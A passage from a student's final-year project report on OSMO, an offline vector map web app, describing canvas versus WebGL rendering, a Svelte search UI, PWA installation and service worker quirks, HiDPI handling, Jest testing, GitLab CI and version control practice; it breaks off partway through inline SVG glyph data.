&lt;p&gt;Whilst profiling the &lt;code&gt;render()&lt;/code&gt; function of my application, it became apparent that the draw calls on the &lt;code&gt;&amp;lt;canvas&gt;&lt;/code&gt; were the limiting factor in my applications’ performance (see &lt;a href="#loc-87"&gt;5.5&lt;/a&gt;). Instead of using &lt;code&gt;CanvasRenderingContext2D&lt;/code&gt;, popular vector map rendering libraries like Mapbox GL use the &lt;code&gt;WebGL2RenderingContext&lt;/code&gt;. This allows for GPU accelerated rendering, even providing enough power to render complex 3D graphics. This would have been the best way to reduce the time needed to render a frame, and make the application more responsive to panning and zooming.&lt;/p&gt;
&lt;p&gt;During the beginning of term two, I decided to experiment with using WebGL for rendering. WebGL2 provides a very low level interface to the GPU, employing the concepts of fragment shaders and vertex shaders. These allow you to draw triangles that you can then use to make up more complex shapes — for example, a square would be made up of two equilateral triangles. You have to handle all of this work yourself, unless you choose to employ a library.&lt;/p&gt;
&lt;p&gt;Following a tutorial, I was able to implement basic drawing using the &lt;code&gt;WebGL2RenderingContext&lt;/code&gt; &lt;a id="loc-76" href="#loc-155" role="doc-biblioref"&gt;[55]&lt;/a&gt;. This simple experiment rendered a million one pixel wide lines to the screen, which required over 150 lines of code. The implementation can be seen on the&lt;span style="white-space: pre-wrap"&gt;&amp;#x20;&lt;/span&gt;&lt;a href="https://gitlab.cim.rhul.ac.uk/zhac152/PROJECT/-/blob/feat/web-gl/final-deliverable/src/map/map.ts#L87"&gt;&lt;/a&gt; branch. This was in stark contrast to the relative simplicity of the &lt;code&gt;CanvasRenderingContext2D&lt;/code&gt; API. Granted, the performance was very impressive, but it would have taken a significant effort to implement the same functionality as my existing application using the simpler 2D rendering context. Therefore, I decided to continue using the &lt;code&gt;CanvasRenderingContext2D&lt;/code&gt; and instead focus on adding more functionality to my application.&lt;/p&gt;
&lt;h3 id="loc-77"&gt;Svelte: using a frontend framework&lt;/h3&gt;
&lt;p&gt;The search box was the first feature I added that wasn’t primarily using the canvas for display and interaction. I initially implemented it in vanilla JavaScript, which worked fine, but I found myself writing a lot of error-prone boilerplate code to update the DOM. In addition to this, I was following the antipattern of creating references to the DOM, then passing around these references to other functions. This made it difficult to reason about the state of the application, and harder to refactor the code.&lt;/p&gt;
&lt;figure id="loc-78"&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/uni-final-year-project/images/search_hu_53f1d3f17ef4547f.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/uni-final-year-project/images/search_hu_af81294af68307bb.webp 320w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/search_hu_6ee6a9547a092d7d.webp 640w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/search_hu_7d807b2c18016c1f.webp 960w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/search_hu_37f8b50922019f28.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/uni-final-year-project/images/search_hu_8eb661a09d2a8c95.jpg'
width="1407"
height="950"
loading="lazy"
alt='Searching for &amp;#39;Egham&amp;#39; in OSMO'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;figcaption&gt;Figure 5:&lt;span style="white-space: pre-wrap"&gt;&amp;#x20;&amp;#x20;&lt;/span&gt;Searching for ‘Egham’ in OSMO&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;To remedy this I decided to start using a frontend framework. This would allow me to write declarative code, and abstract away the DOM manipulation. I chose to use Svelte, as it is relatively lightweight &amp;amp; performant, and I’ve used it before. Svelte also solved my issue of passing DOM references, by allowing them to be created next to the point of use. This allowed me to write self-contained components, which each manage their own state.&lt;/p&gt;
&lt;p&gt;Another benefit of Svelte is that it provides a simple interface to allow you to write animations that aren’t normally possible with CSS. For example, in the search box, when the result box appears, it slides in from the top — see &lt;a href="#loc-78"&gt;[fig:search]&lt;/a&gt;. This is cannot be done with pure CSS, as CSS animations only trigger when the properties of the element are changed. For example, when setting &lt;code&gt;el.style.height = "200px"&lt;/code&gt;. In reality, you don’t know the height that the results box will be, so this method is untenable. Svelte allows you to overcome this limitation by providing means to write animations that are triggered by changing the state of the component.&lt;/p&gt;
&lt;p&gt;Svelte also provides scoped CSS, which allows you to write styles that will only apply to the component. This means you don’t have to be careful about giving your DOM elements unique IDs or class names, as they will only be used within the component. This then means you can often get away with just styling a plain &lt;code&gt;div&lt;/code&gt;, &lt;code&gt;span&lt;/code&gt; or &lt;code&gt;p&lt;/code&gt; element, without having to give it a class name.&lt;/p&gt;
&lt;h3&gt;Progressive web apps (PWAs)&lt;/h3&gt;
&lt;p&gt;PWAs are web apps that are able to present themselves as and have similar features to native applications &lt;a id="loc-79" href="#loc-156" role="doc-biblioref"&gt;[56]&lt;/a&gt;. For example, a PWA could include offline support, the ability to “install” the website on mobile platforms, and features like push notifications. In order to make web app installable, you have to write a web manifest, and have a service worker that provides offline content. The manifest provides metadata about your application, allowing you to control how it will be displayed in the user’s app list. In my manifest I provide icons to use, long and short names to use, and a description.&lt;/p&gt;
&lt;p&gt;To ensure my application was a valid PWA that could be installed on mobile devices, I used Google Chrome’s Lighthouse testing tool. Unfortunately, this did not catch an issue I experienced, which was that my app could be “added to home screen” but it was not installed into the application drawer. When using the Chrome remote debug functionality to see the console output on my phone, I saw a message: &lt;code&gt;Failed to install WebAPK for ’&amp;lt;url&gt;’&lt;/code&gt;.&lt;/p&gt;
&lt;figure id="loc-80"&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/uni-final-year-project/images/osmo-pwa_hu_10e6830949603729.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/uni-final-year-project/images/osmo-pwa_hu_28390ee105b07399.webp 320w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/osmo-pwa_hu_89ba4b654204cfd2.webp 640w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/osmo-pwa_hu_d9fb221c917c667e.webp 960w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/uni-final-year-project/images/osmo-pwa_hu_b453563cc73bfd73.jpg'
width="1079"
height="839"
loading="lazy"
alt='OSMO installed in the app drawer of an Android phone'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;figcaption&gt;Figure 6:&lt;span style="white-space: pre-wrap"&gt;&amp;#x20;&amp;#x20;&lt;/span&gt;OSMO installed in the app drawer of an Android phone&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;After some searching, I found that PWA installation on Android has a few indirections, principally that clicking “Install” sends a request to a Google server to bundle the website into a WebAPK. Bundling as a WebAPK means your app is treated like a native app, and hence can handle URL ranges or custom URI schemes&lt;a id="loc-81" href="#loc-170" role="doc-noteref"&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;. Unfortunately, this terse message did not provide any detail into why the installation failed. Eventually after considerable debugging, I found that the issue was that I had provided my icon in the manifest as an SVG, instead of a PNG. See &lt;a href="#loc-80"&gt;[fig:osmo-pwa]&lt;/a&gt; for a screenshot of OSMO installed on my phone.&lt;/p&gt;
&lt;h3&gt;Service worker quirks&lt;/h3&gt;
&lt;p&gt;Near the end of the project I spent some time polishing the offline user experience. One of the principal issues was due to a quirk in service worker registration behaviour. When a new service worker installs, it will not control the page that registered it until the next page refresh. This creates the unexpected behaviour that if you download a region on the initial page load, then go offline, you will not be able to see the downloaded region after a refresh. This is because when the service worker is not controlling, it cannot intercept &lt;code&gt;fetch&lt;/code&gt; events, and so the cache will not be populated. Luckily some escape hatches are provided, such as &lt;code&gt;skipWaiting()&lt;/code&gt; and &lt;code&gt;clients.claim()&lt;/code&gt;. These allow you to force the service worker to take control of the page, and intercept requests immediately.&lt;/p&gt;
&lt;p&gt;However, this led to a race condition issue — that critical resources would be loaded before the service worker had finished installing. For example, on initial page load, the header &amp;amp; tile index would be loaded before the service worker had claimed the page, meaning it wouldn’t get cached.&lt;/p&gt;
&lt;p&gt;The simplest way to remedy this would have been to force a page reload when the service worker finished installing, but this would have been a poor user experience. Instead, I added another event listener, for the &lt;code&gt;controllerchange&lt;/code&gt; event, which is fired when &lt;code&gt;clients.claim()&lt;/code&gt; is called. Once this event fires, I then instantiate the Svelte app, ensuring that the service worker is ready to intercept and cache the header &amp;amp; tile indexes:&lt;/p&gt;
&lt;div class="typst-code"&gt;
&lt;pre&gt;&lt;code data-lang="typescript"&gt;&lt;span style="color: #4b69c6"&gt;navigator&lt;/span&gt;.serviceWorker.&lt;span style="color: #4b69c6"&gt;register&lt;/span&gt;(&lt;span style="color: #198810"&gt;'&lt;/span&gt;&lt;span style="color: #198810"&gt;./sw.js&lt;/span&gt;&lt;span style="color: #198810"&gt;'&lt;/span&gt;, { scope: &lt;span style="color: #198810"&gt;'&lt;/span&gt;&lt;span style="color: #198810"&gt;./&lt;/span&gt;&lt;span style="color: #198810"&gt;'&lt;/span&gt; }).&lt;span style="color: #4b69c6"&gt;then&lt;/span&gt;(() &lt;span style="color: #d73948"&gt;=&gt;&lt;/span&gt; {&lt;br&gt; &lt;span style="color: #d73948"&gt;return&lt;/span&gt; &lt;span style="color: #d73948"&gt;new&lt;/span&gt; &lt;span style="color: #4b69c6"&gt;Promise&lt;/span&gt;&amp;lt;&lt;span style="color: #4b69c6"&gt;void&lt;/span&gt;&gt;(resolve &lt;span style="color: #d73948"&gt;=&gt;&lt;/span&gt; {&lt;br&gt; &lt;span style="color: #d73948"&gt;if&lt;/span&gt; (&lt;span style="color: #4b69c6"&gt;navigator&lt;/span&gt;.serviceWorker.controller) {&lt;br&gt; &lt;span style="color: #4b69c6"&gt;resolve&lt;/span&gt;();&lt;br&gt; } &lt;span style="color: #d73948"&gt;else&lt;/span&gt; {&lt;br&gt; &lt;span style="color: #4b69c6"&gt;navigator&lt;/span&gt;.serviceWorker.&lt;span style="color: #4b69c6"&gt;addEventListener&lt;/span&gt;(&lt;span style="color: #198810"&gt;'&lt;/span&gt;&lt;span style="color: #198810"&gt;controllerchange&lt;/span&gt;&lt;span style="color: #198810"&gt;'&lt;/span&gt;, () &lt;span style="color: #d73948"&gt;=&gt;&lt;/span&gt; {&lt;br&gt; &lt;span style="color: #4b69c6"&gt;resolve&lt;/span&gt;();&lt;br&gt; });&lt;br&gt; }&lt;br&gt; });&lt;br&gt;}).&lt;span style="color: #4b69c6"&gt;then&lt;/span&gt;(() &lt;span style="color: #d73948"&gt;=&gt;&lt;/span&gt; {&lt;br&gt; &lt;span style="color: #4b69c6"&gt;console&lt;/span&gt;.&lt;span style="color: #4b69c6"&gt;log&lt;/span&gt;(&lt;span style="color: #198810"&gt;`&lt;/span&gt;&lt;span style="color: #198810"&gt;starting app, service worker is ready, took {performance.now() - start_time}ms&lt;/span&gt;&lt;span style="color: #198810"&gt;`&lt;/span&gt;)&lt;br&gt; &lt;span style="color: #d73948"&gt;new&lt;/span&gt; &lt;span style="color: #4b69c6"&gt;App&lt;/span&gt;({&lt;br&gt; target: &lt;span style="color: #4b69c6"&gt;document&lt;/span&gt;.&lt;span style="color: #4b69c6"&gt;getElementById&lt;/span&gt;(&lt;span style="color: #198810"&gt;'&lt;/span&gt;&lt;span style="color: #198810"&gt;app&lt;/span&gt;&lt;span style="color: #198810"&gt;'&lt;/span&gt;),&lt;br&gt; })&lt;br&gt;})&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;h3&gt;Handling HiDPI displays&lt;/h3&gt;
&lt;p&gt;One long-standing bug was the map rendering slightly blurry on devices with HiDPI screens, such as mobile phones or 4K monitors. This is due to how the &lt;code&gt;px&lt;/code&gt; unit works in CSS — they are just a unit of length, not a representation of the physical pixels on the screen. This means that on a HiDPI screen, if the &lt;code&gt;canvas.width&lt;/code&gt; and &lt;code&gt;height&lt;/code&gt; are set to the canvas width in CSS pixels, the canvas pixels have will be stretched across multiple physical pixels.&lt;/p&gt;
&lt;p&gt;Therefore, to render at the correct resolution, you must use the &lt;code&gt;window.devicePixelRatio&lt;/code&gt; property to determine how many physical pixels there are per CSS pixel. You can then use this to set the &lt;code&gt;canvas.width&lt;/code&gt; and &lt;code&gt;height&lt;/code&gt; to be the same as the screen’s physical pixel height and width. As you are now rendering more pixels, you’ll then need scale the canvas back down to the size it is rendering at, which will remove the blur.&lt;/p&gt;
&lt;figure id="loc-82"&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/uni-final-year-project/images/debugging-tiles_hu_b87bc0695a34520.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/uni-final-year-project/images/debugging-tiles_hu_7044de001d2e7556.webp 320w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/debugging-tiles_hu_ed19f5febdc1e59a.webp 640w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/debugging-tiles_hu_c34afbc57ff35c16.webp 960w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/debugging-tiles_hu_15600af75e357f0c.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/uni-final-year-project/images/debugging-tiles_hu_57a9070022f219a4.jpg'
width="1940"
height="1060"
loading="lazy"
alt='Scaling and translating the canvas to debug tile rendering — the black area represents the scaled down viewport'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;figcaption&gt;Figure 7: Scaling and translating the canvas to debug tile rendering — the black area represents the scaled down viewport&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Unfortunately, as many of the rendering calculations assumed that the canvas size would be the same as the size in CSS &lt;code&gt;px&lt;/code&gt;, I had to fix some subtle bugs. One example was that extra tiles were being rendered off the edge of the canvas, resulting in performance losses. This was challenging to debug, as the extra tiles could not be seen — I ended up translating the whole canvas across, then scaling it down, allowing me to see where the extra tiles were being drawn (see &lt;a href="#loc-82"&gt;[fig:debugging-tiles]&lt;/a&gt;).&lt;/p&gt;
&lt;h2 id="loc-83"&gt;Software engineering&lt;/h2&gt;
&lt;p&gt;In order to successfully deliver a project, it is important to follow good software engineering practices. These should help you create something that has minimal technical debt, is correct, is maintainable, and can be easily understood by other members of a team.&lt;/p&gt;
&lt;p&gt;I decided to write my project in TypeScript over plain JavaScript, as it provides an extremely helpful layer to help solve runtime type issues. It also allows my IDE, Visual Studio Code, to provide far more useful suggestions, compared to writing JS. This is because it is aware what types variables are at all times, instead of using a fallible heuristic approach.&lt;/p&gt;
&lt;p&gt;Conveniently, the JavaScript bundler I chose, &lt;code&gt;esbuild&lt;/code&gt;, has built in support for stripping TypeScript annotations, meaning I only have a single build step. It doesn’t have the ability to check types itself, but this was not an issue for me, as VS Code performs this function natively in the editor. &lt;code&gt;esbuild&lt;/code&gt; also has a convenient “dev-server” mode, where it bundles up the latest code as the requests come in, removing the need for a file-watcher.&lt;/p&gt;
&lt;h3&gt;Testing&lt;/h3&gt;
&lt;p&gt;Testing is critical to producing a piece of software that works as expected. It helps you to define what your function should return before you write it, and ensures that the function returns exactly what you expect.&lt;/p&gt;
&lt;p&gt;In my project a significant amount of the work is rendering data to the HTML5 canvas. This portion of the project is very difficult to test — at least while development is still occurring. Therefore, I directed my testing efforts towards the non-visual portions of the application, such as parsing the Mapsforge file, geometry operations, and projecting data.&lt;/p&gt;
&lt;p&gt;I implemented testing using the Jest framework. Initially I had some issues setting it up to be able to understand tests and code written in TypeScript. Once it was set up, it was irritatingly slow, taking 5+ seconds to run with only a single test. The cause of this was two-fold; I was using the &lt;code&gt;ts-jest&lt;/code&gt; package, which uses Babel to transpile TypeScript to JS (which is slow), and I had written my &lt;code&gt;jest.config.ts&lt;/code&gt; in TypeScript. This meant that when I ran &lt;code&gt;jest test&lt;/code&gt;, it had to spin up &lt;code&gt;ts-node&lt;/code&gt; to interpret the file, which is also relatively slow. To fix this I rewrote the config file in plain JavaScript, and switched Jest to use &lt;code&gt;@swc-node/jest&lt;/code&gt; instead of &lt;code&gt;ts-jest&lt;/code&gt; to transpile the JavaScript, which reduced the time taken to under 2 seconds for the whole suite.&lt;/p&gt;
&lt;figure id="loc-84"&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/uni-final-year-project/images/artifacts_hu_a350f06ae45b006d.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/uni-final-year-project/images/artifacts_hu_4e15e3b6610c2607.webp 320w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/artifacts_hu_c01c1112a4f92c45.webp 640w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/artifacts_hu_b6ccf228741ea539.webp 960w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/artifacts_hu_8bf5d75a2eaea8fa.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/uni-final-year-project/images/artifacts_hu_d5c81027ceef4645.jpg'
width="1523"
height="1075"
loading="lazy"
alt='Rendering incorrectly parsed geometries'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;figcaption&gt;Figure 8:&lt;span style="white-space: pre-wrap"&gt;&amp;#x20;&amp;#x20;&lt;/span&gt;Rendering incorrectly parsed geometries&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;In particular, the tests for the &lt;code&gt;Reader&lt;/code&gt; class proved very useful. At first, I didn’t write any formal tests for the &lt;code&gt;.getVSint()&lt;/code&gt; method — instead running it and checking if the output seemed reasonable. This got me so far, with it returning some well-formed data, but when it came to rendering the geometries were all corrupted, as is shown in &lt;a href="#loc-84"&gt;Figure 8&lt;/a&gt;. During the debugging process, I wrote exhaustive table tests for this function (see the listing below), and I realized that I was incrementing my offset through the file on the wrong line.&lt;/p&gt;
&lt;p&gt;These tests made it much easier to refactor the code, without worrying about breaking functionality. This is because I could just run &lt;code&gt;pnpm test&lt;/code&gt; to ensure I had not introduced any regressions, and did not need to manually check various different cases.&lt;/p&gt;
&lt;div class="typst-code"&gt;
&lt;pre&gt;&lt;code&gt;should be able to decode signed variable ints&lt;br&gt; pass: 1 byte max negative: [01111111].getVSint() == -63&lt;br&gt; pass: 1 byte max positve: [00111111].getVSint() == 63&lt;br&gt; pass: 2 byte min: [10000000,00000001].getVSint() == 128 (1 ms)&lt;br&gt; pass: 2 byte max: [11111111,01111111].getVSint() == -8191&lt;br&gt; pass: 3 byte min: [10000000,10000000,01000001].getVSint() == -16384&lt;br&gt; pass: 3 byte max: [11111111,11111111,01111111].getVSint() == -1048575&lt;br&gt; pass: 4 byte min: [10000000,10000000,10000000,00000001].getVSint() == 2097152&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;h4&gt;Test suite coverage&lt;/h4&gt;
&lt;p&gt;Test coverage is the percentage of lines of code that are executed by the test suite. This can be a useful tool to determine which parts of the codebase your tests are covering, and which cases you had not considered. You can then use this information to write more tests to cover the untested parts of the program. However, chasing 100% coverage is usually not a productive use of time, as testing every single trivial case or condition is often necessary, and adds noise to the test suite.&lt;/p&gt;
&lt;div class="typst-code"&gt;
&lt;pre&gt;&lt;code&gt;---------------|---------|----------|---------|---------|-------------------&lt;br&gt;File | % Stmts | % Branch | % Funcs | % Lines | Uncovered Line #s&lt;br&gt;---------------|---------|----------|---------|---------|-------------------&lt;br&gt;All files | 92.73 | 75.23 | 94.82 | 92.4 |&lt;br&gt;map | 100 | 100 | 100 | 100 |&lt;br&gt;geom.ts | 100 | 100 | 100 | 100 |&lt;br&gt;map/mapsforge | 92.42 | 75.23 | 93.75 | 92.06 |&lt;br&gt;mapsforge.ts | 91.25 | 63.38 | 100 | 90.93 | 117,137-166,192,[..snip..]&lt;br&gt;objects.ts | 90.9 | 100 | 85 | 89.36 | 196-202,212&lt;br&gt;reader.ts | 100 | 100 | 100 | 100 |&lt;br&gt;util.ts | 100 | 100 | 100 | 100 |&lt;br&gt;---------------|---------|----------|---------|---------|-------------------&lt;br&gt;Tests: 38 passed, 38 total&lt;br&gt;Snapshots: 0 total&lt;br&gt;Time: 1.125 s&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;h3&gt;GitLab CI&lt;/h3&gt;
&lt;p&gt;In industry, it is common to run tests and deploy code automatically, as commits are pushed to the repository — this is known as CI/CD (continuous integration/continuous deployment). I set up GitLab CI to automatically run tests when new commits were pushed. The advantage of this is that if I accidentally push code that breaks the tests, I get an email to alert me (see &lt;a href="#loc-85"&gt;[fig:ci-fail]&lt;/a&gt;). As the CIM GitLab doesn’t provide any CI runners, I had to set up my own “self-managed” runner. There are a number of options for how the job should be run (known as “executors”), such as in a Docker container, or over SSH. As my use case is fairly simple, without any complicated dependencies or required state, I decided to use the shell executor, which simply downloads the Git repository, and runs the shell code specified in the file.&lt;/p&gt;
&lt;figure id="loc-85"&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/uni-final-year-project/images/gitlab-ci-failure_hu_fe29c48272383f69.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/uni-final-year-project/images/gitlab-ci-failure_hu_1cc9589ce3e3dbaf.webp 320w, https://george.honeywood.org.uk/blog/uni-final-year-project/images/gitlab-ci-failure_hu_7aeadefdd7ddec52.webp 640w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/uni-final-year-project/images/gitlab-ci-failure_hu_ca8478a1bbff989d.jpg'
width="657"
height="620"
loading="lazy"
alt='ReGitLab CI failure notification'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;figcaption&gt;Figure 9:&lt;span style="white-space: pre-wrap"&gt;&amp;#x20;&amp;#x20;&lt;/span&gt;GitLab CI failure notification&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;When working in a team it is good practice to have a centrally managed deployment system (CD), where team members can initiate or view the current state of a deployment of an application. For my project, as I am the sole developer, it is acceptable to have a simple deploy script that copies files to my web server using &lt;code&gt;rsync&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Version control&lt;/h3&gt;
&lt;p&gt;Another important software engineering practice is making good use of version control. Throughout this project I have made use of Git branches, primarily to develop each of my proof of concepts. This has helped make sure that the code in the &lt;code&gt;main&lt;/code&gt; branch is always in a working state.&lt;/p&gt;
&lt;p&gt;I have rigorously followed the &lt;em&gt;Conventional Commits&lt;/em&gt; specification, prefixing all commits with a type, such as &lt;code&gt;feat:&lt;/code&gt;, &lt;code&gt;fix:&lt;/code&gt;, &lt;code&gt;test:&lt;/code&gt; or &lt;code&gt;report:&lt;/code&gt; &lt;a id="loc-86" href="#loc-158" role="doc-biblioref"&gt;[58]&lt;/a&gt;. This indicates the basic purpose of a commit at a glance, and encourages me to split up large changes into smaller atomic units of a single type. When changes are complicated or have subtle side effects, I have written a longer commit body, to supplement the information in the commit name.&lt;/p&gt;
&lt;h3&gt;Documentation&lt;/h3&gt;
&lt;p&gt;Regarding user documentation, so far my proof of concepts have been simple enough that detailed documentation is not yet necessary. For each proof of concept I have written a &lt;code&gt;README.md&lt;/code&gt; that details how it can be run (or a link to it hosted online), and any dependencies or extra files required.&lt;/p&gt;
&lt;p&gt;In terms of developer documentation, where appropriate I have written JSDoc comments, particularly for functions that provide a &lt;em&gt;public&lt;/em&gt; API. These explicitly detail the purpose of the function, how it should be used, and what the arguments should be set to. In addition to these JSDoc comments, where the code itself is not completely clear or intentions aren’t obvious, I have written comments inline.&lt;/p&gt;
&lt;h3 id="loc-87"&gt;Profiling and optimization&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;render()&lt;/code&gt; function is critically important to the responsiveness of the application. As the &lt;code&gt;requestAnimationFrame()&lt;/code&gt; callback fires 60 times a second, we should aim to have the &lt;code&gt;render()&lt;/code&gt; function run in under &lt;span style="display: inline-block"&gt;&lt;svg class="typst-frame" style="overflow: visible; width: 7.611555555555555em; height: 0.683em;" viewBox="0 0 83.72711111111111 7.513000000000001" width="83.72711111111111pt" height="7.513000000000001pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 0 7.513000000000001)"&gt;&lt;use xlink:href="#g2F3432F0380DABEBAA7D153F272AC8F3" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 5.5 7.513000000000001)"&gt;&lt;use xlink:href="#gFD2112639B0D2471708560F8720745C2" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 11 7.513000000000001)"&gt;&lt;use xlink:href="#gFD2112639B0D2471708560F8720745C2" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 16.5 7.513000000000001)"&gt;&lt;use xlink:href="#gFD2112639B0D2471708560F8720745C2" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 22 7.513000000000001)"&gt;&lt;use xlink:href="#gCAB1FC9E0D5DE3EA4DB28A87F0A11DED" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 27.5 7.513000000000001)"&gt;&lt;use xlink:href="#g759C0B89CBBF5162A1729EA7040B13FE" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 33 7.513000000000001)"&gt;&lt;use xlink:href="#gFD2112639B0D2471708560F8720745C2" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 41.55555555555556 7.513000000000001)"&gt;&lt;use xlink:href="#gEF8BA589DAA93C55687BBE9F18D785DF" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-group"&gt;&lt;g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 53.169111111111114 7.513000000000001)"&gt;&lt;use xlink:href="#g2F3432F0380DABEBAA7D153F272AC8F3" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 58.669111111111114 7.513000000000001)"&gt;&lt;use xlink:href="#g759C0B89CBBF5162A1729EA7040B13FE" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 64.1691111111111 7.513000000000001)"&gt;&lt;use xlink:href="#g7DAA6C8A64E6F32D770ECA95FB9D7219" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 67.22711111111111 7.513000000000001)"&gt;&lt;use xlink:href="#g759C0B89CBBF5162A1729EA7040B13FE" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 72.72711111111111 7.513000000000001)"&gt;&lt;use xlink:href="#g759C0B89CBBF5162A1729EA7040B13FE" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;g class="typst-text" transform="matrix(1 0 0 -1 78.22711111111111 7.513000000000001)"&gt;&lt;use xlink:href="#g759C0B89CBBF5162A1729EA7040B13FE" x="0" y="0" fill="#000000" fill-rule="nonzero"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;defs id="glyph"&gt;&lt;symbol id="g2F3432F0380DABEBAA7D153F272AC8F3" overflow="visible"&gt;&lt;path d="M 0 0m 2.9589999 7.3259997 c -0.45099998 -0.4619999 -1.1109998 -0.69299984 -1.9799999 -0.69299984 v -0.4289999 c 0.572 0 1.045 0.08799982 1.4080001 0.26399994 v -5.566 c 0 -0.19800001 -0.04400015 -0.32999998 -0.14300013 -0.385 c -0.09899998 -0.055000007 -0.37399995 -0.08800003 -0.814 -0.08800003 h -0.385 v -0.429 c 0.27499998 0.022 0.8690001 0.033 1.782 0.033 c 0.9130001 0 1.5070002 -0.011 1.7820003 -0.033 v 0.429 h -0.38500023 c -0.45099998 0 -0.7260001 0.033000022 -0.8139999 0.08800003 c -0.08800006 0.055000007 -0.14300013 0.18699998 -0.14300013 0.385 v 6.094 c 0 0.26399994 -0.022000074 0.32999992 -0.3080001 0.32999992 Z "/&gt;&lt;/symbol&gt;&lt;symbol id="gFD2112639B0D2471708560F8720745C2" overflow="visible"&gt;&lt;path d="M 0 0m 2.739 -0.242 c 1.5509999 0 2.3209999 1.254 2.3209999 3.762 c 0 1.6830001 -0.35199976 2.8049998 -1.0450001 3.355 c -0.385 0.29699993 -0.8139999 0.45099974 -1.2649999 0.45099974 c -1.551 0 -2.321 -1.2649999 -2.321 -3.8059998 c 0 -2.024 0.53900003 -3.762 2.3100002 -3.762 Z m 1.2319999 6.006 c 0.0769999 -0.38499975 0.109999895 -1.0889997 0.109999895 -2.112 c 0 -1.0120001 -0.043999672 -1.76 -0.12099981 -2.244 c -0.14300013 -0.88 -0.54999995 -1.3199999 -1.221 -1.3199999 c -0.25300002 0 -0.50600004 0.09900001 -0.737 0.286 c -0.29700005 0.25299996 -0.47300005 0.77000004 -0.5500001 1.562 c 